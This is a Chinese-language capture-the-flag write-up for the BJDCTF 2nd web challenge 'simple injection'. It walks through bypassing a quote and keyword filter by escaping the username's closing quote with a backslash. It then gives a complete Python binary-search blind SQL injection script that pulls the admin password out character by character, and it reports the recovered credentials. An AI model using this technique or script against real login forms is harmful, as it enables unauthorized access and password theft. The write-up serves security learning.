[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)

进入后页面:[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第1张图片
看看后台用什么闭合的,测试单引号:[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第2张图片
[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第3张图片
发现直接就给你过滤了。试试还过滤了什么,发现过滤了以下指令:
[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第4张图片
(这个方法挺巧的)

union , select , = , ' , & , && , - ,  " , and 

连引号都过滤了,这可怎么做啊。
看看又什么提示,源码里面啥也没有,扫描一下发现robots.txt:在这里插入图片描述
发现了hint.txt提示,访问看看:
[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第5张图片
显示了后端的SQL语句,我们可以使用 \ 转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
解释:
由于过滤了引号,我们不能闭合引号了,所以我们不能用以下方法登录:

用户名:admin' or 1=1#
密码:123

所以我们要使用 \ 转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容,即:

用户名:admin\
密码:or 1 #     //等号也被过滤了

即构造了:select * from users where username='admin\' and password='or 1 #'

[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第6张图片

出现了:BJD needs to be stronger。也就是说查询正确的结果和查询错误的结果显示的页面是不一样的,那不就是盲注吗,由此编写二分盲注脚本(其实就是在原来的二分盲注脚本基础上改改就行)

根据hint:Only u input the correct password then u can get the flag
应该是说只要密码对就行,用户名应该不在检测范围内,当然这只是猜测,所以我们脚本里用的用户名为admin,后续证明就是这样的。

手动测试的时候or也没有被过滤,脚本里面就出错了,将or换成了^异或符号:

import requests
import time

url = "http://d5c62637-a5bd-4695-a11f-97b5cecb2838.node3.buuoj.cn/index.php"
temp = {}
password = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        payload = '^ (ascii(substr((password),%d,1))>%d)#' % (i,mid)      
        # select * from users where username='admin\' and password='^ (ascii(substr((password),%d,1))>%d)#'
        temp={"username":"admin\\","password": payload}
        r = requests.post(url,data=temp)
        print(low,high,mid,":")
        if "P3rh4ps" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    password +=chr(mid)
    print(password)


print("password=",password)

运行之后拿到密码:
[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第7张图片
使用admin / OhyOuFOuNdit登录即可获取flag
[BJDCTF 2nd]简单注入(过滤了引号,利用\逃逸sql语句第二字段)_第8张图片

你可能感兴趣的:(CTF-Web)